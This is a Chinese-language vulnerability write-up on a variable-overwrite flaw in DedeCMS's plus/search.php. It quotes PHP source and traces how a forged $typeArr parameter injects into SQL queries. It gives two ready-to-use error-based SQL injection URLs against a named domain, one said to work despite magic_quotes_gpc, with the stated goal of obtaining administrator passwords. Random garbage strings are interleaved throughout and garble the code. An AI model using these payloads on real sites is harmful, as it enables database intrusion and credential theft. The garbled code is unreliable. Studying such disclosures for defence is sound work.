微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.* l- {2 y: v' C" k8 y
作者: c4rp3nt3r@0x50sec.org
$ c7 l' T6 U- z2 mDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
% z4 P {; |- N" N( b6 e
9 r/ Z( U/ Q8 t7 `黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
$ A* a' e+ m2 _4 p1 v* r/ _( K
7 d) s0 S) z8 Z% q/ ^, n============* U' _. p7 H# @) U, D
; y1 T$ w5 L! K+ A$ c' i) j
: q. ^& f; F5 O5 HDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
6 k" @" I9 X* R1 y; o 1 x) A. K9 Z2 a X, n& D
require_once(dirname(__FILE__).”/../include/common.inc.php”);
9 f0 {9 }% s" Frequire_once(DEDEINC.”/arc.searchview.class.php”);
Q1 |$ \8 h% j3 X; I
{5 g: _& d# \3 H" A- v$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
1 g: P6 c+ ~/ A* l- [$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;- Y" M1 R- `# F" g* q
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;* `8 k. ]3 }, ~" W% s1 j
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;$ Z! T4 ]" o! ]1 c8 d' z% O# `
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
+ _ Y3 q/ T8 f& d- s/ \8 ]
' @% b8 S& \! P% o) Q* V. c% Mif(!isset($orderby)) $orderby=”;
8 s H3 R8 r- D( Relse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
& r) Y/ l- E; t' Q% I% u3 C4 Q ( Y h% S% V3 Y; v
3 o+ Y6 m- W8 ^if(!isset($searchtype)) $searchtype = ‘titlekeyword’;2 T/ y% W m2 T
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
+ N% N: h) p+ X# H) X. q' y* u 2 W( G8 C/ B# R
if(!isset($keyword)){: Y' f) Z5 e" E) Z" i
if(!isset($q)) $q = ”;/ Q/ I b3 A) h' {
$keyword=$q;8 W4 u: a) q$ r7 M2 _
}
# }) i. }+ q4 B( q$ p- ^
& y W% U0 h4 T2 W9 a$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));7 R# c& n: f* t; {
3 P2 _7 Z3 U! m, R* D. b//查找栏目信息
5 S) }' i; E4 R/ fif(empty($typeid))1 C( b. E- Z4 Q( y% V7 N; N
{# K7 V. E* f0 N2 b5 t
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
! n) c3 ]- |3 b8 q( e if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
& B& }% J. T" S2 K' V" D {
7 q8 V }) O& @" E $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);# ^% ?7 m+ R; {2 [* q" G: M
fwrite($fp, “<”.”?php\r\n”);
! I8 b4 }7 K0 J! \ $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);. ]- Q+ d6 r8 l: @, Q
$dsql->Execute();
6 p+ f' y$ N e* Y* U% r* d while($row = $dsql->GetArray())1 ^% b% J8 a) S: X0 K, f' U
{" W& m. ~7 E5 c, Q% _, D. g) |& `; C
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
9 A% U" ^) `+ Z& Q# b! c7 y }6 \ m8 c0 G# @: f u
fwrite($fp, ‘?’.'>’);
& R) O$ m, K$ o1 g fclose($fp);
- z0 \% h& H2 |. z }& h; Y/ s7 ]0 G) j# o9 e% u6 g
//引入栏目缓存并看关键字是否有相关栏目内容% r/ J3 f4 q$ I2 x0 d
require_once($typenameCacheFile);
. G1 C8 I* X% D) l/ A1 {. i//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
3 k( f+ O4 G. H# [& i- H1 g8 a+ b// Q7 \* f5 a( E& ~6 o
if(isset($typeArr) && is_array($typeArr))8 [# i, z9 b" L5 K9 V/ z* b: J
{( ]5 l$ I0 @& Q4 n& ]! d* e$ K
foreach($typeArr as $id=>$typename)
D9 N4 k/ m0 k$ ~& | {
, ]- g2 J# y/ C9 o
9 k' f+ }( r8 o4 v; |' _0 w( z# s/ i <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过5 e X6 |' t$ s: i8 e7 N' e
if($keyword != $keywordn)
5 Z! @& d* C/ F( e9 A {
5 _( J' H$ [% a" @ $keyword = $keywordn;
' B! c" J- h: p8 i <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设! j/ D# x$ N! }
break;4 j8 L$ @0 I# X- Y: g+ @
}
' \3 s3 a- W; T }
$ J. m8 D- f( z: J% A) i N: o9 k }2 j b* l/ ~* i+ e! Q
}
% e6 w7 N! I& Q8 V- O+ J9 s然后plus/search.php文件下面定义了一个 Search类的对象 .
' m ^5 `- k' e7 S$ F在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
1 P' g7 z+ }* b7 Z% O$this->TypeLink = new TypeLink($typeid);/ w( C5 f, N& f9 z& N0 w" o
$ S( I% G: q$ H% E6 m- [TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
3 o! }5 q+ `& H! F- n
" v1 r6 Q+ T7 v* N8 Dclass TypeLink/ w6 F/ e. P' X; K3 i8 _: D* I- i+ ]6 X% Q
{
* L* _7 }- |( r var $typeDir;
# K6 R+ e" q" I* G- T6 E# v var $dsql;
2 O8 U, i* g8 o( ^/ z% @# | var $TypeID;
9 ~, t* s S; I" x! r5 i; N var $baseDir;9 \0 r: p+ G: R J" U h+ O
var $modDir;' i" x7 e+ p6 h2 i
var $indexUrl;
3 F/ |. R& p7 y3 T var $indexName;
: t: {- Y* h z2 t" q var $TypeInfos;
* V7 s7 A! @0 [& M0 B; F2 b6 ? var $SplitSymbol;
* s7 ~2 q. _5 ^# p- o l0 U; \ var $valuePosition;& `9 ?- N! K7 v7 R3 V7 D7 E3 K
var $valuePositionName;
8 g9 \3 y: m) A! B; @; `9 X% a: E var $OptionArrayList;//构造函数///////
, }+ ~ o, l! B" h; L3 _* c1 |% r //php5构造函数
: {; ^9 E( Y% I! Z- J _. }( f- ~ function __construct($typeid)
9 q5 Q* m: U8 y& y5 u- P5 u8 e {
* s6 t/ ?8 G, W1 E $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];# I& c% a8 x( y" |9 |. W" A7 K! b
$this->indexName = $GLOBALS['cfg_indexname'];
( q* {9 x, u' J- E& @ $this->baseDir = $GLOBALS['cfg_basedir'];: m$ U% @) W5 H1 `+ `3 S4 e+ s
$this->modDir = $GLOBALS['cfg_templets_dir'];
e1 V( k H+ a+ z $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
& }3 I4 n2 g2 W) _ $this->dsql = $GLOBALS['dsql'];
" y- _* ]9 H# ?- _* B- G. Z $this->TypeID = $typeid;3 O* Q/ O8 j0 h1 U. _+ Q
$this->valuePosition = ”;! b' J& Z$ ]1 q
$this->valuePositionName = ”;
6 @+ @. P1 ]7 T* {5 ?+ C4 ` $this->typeDir = ”;
; u$ z& A: n' }* x! d $this->OptionArrayList = ”;3 ?" c; E3 m$ h& F
1 D+ `; f9 s& E
//载入类目信息
8 d' y1 i& {+ k) D, F! ~: F
s+ _7 B5 C3 o( q3 {* G6 z <font color=”Red”>$query = “SELECT tp.*,ch.typename as# u8 L7 w6 O* t$ Y/ C( a7 J
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join3 S" t+ V9 V3 S E
`#@__channeltype` ch
3 O: g: t h( W8 _/ w( [ on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿8 u9 F8 _' S# x
, G$ Y2 F7 X! _/ r# s, o: a9 n if($typeid > 0)
6 f/ ?8 b3 s D {) M( p4 x8 _# }, O2 R# K
$this->TypeInfos = $this->dsql->GetOne($query);: J$ t4 d' K6 u
利用代码一 需要 即使magic_quotes_gpc = Off, b, H1 L2 Z- G8 _' n
( h: H, Y; ~9 f6 p+ I
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
0 \( O { |' {$ b5 B! |& x% r
2 Q' j& L ]+ F/ ^这只是其中一个利用代码… Search 类的构造函数再往下5 U% c( K e+ b* W; s! p Q3 i
8 T! n, y9 W8 y7 T3 a; T! T: T6 |……省略. `, g# C8 q: ^( B, B
$this->TypeID = $typeid;
- ?1 B; e! {: q3 m" ~' r8 Z……省略/ w# U3 b5 K; E
if($this->TypeID==”0″){7 m5 z) x+ N& @" v9 w9 [# K+ \
$this->ChannelTypeid=1;
& h5 q# w/ A) n" J9 M$ S7 b }else{
& ~ |+ B) U0 r( J8 F $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
& B; d( N; _" \//现在不鸡肋了吧亲…
3 P* D! X9 E& M: r8 D; _* ]0 p $this->ChannelTypeid=$row['channeltype'];4 P) ~% \; K- d. ~- [. I3 s+ W& P% m
7 A* w* Y) M3 D0 x: B }" G7 P( B$ p3 |- o! ]0 K5 j3 r8 P
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
! b3 D0 P6 J7 l/ p4 o8 t
8 o; w: A- n8 h4 a' s3 j# Bwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title9 d) ~" h: X4 |6 S- G
' L7 F) q, R9 s% g
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
- ^) S6 ~8 f2 P m! \ |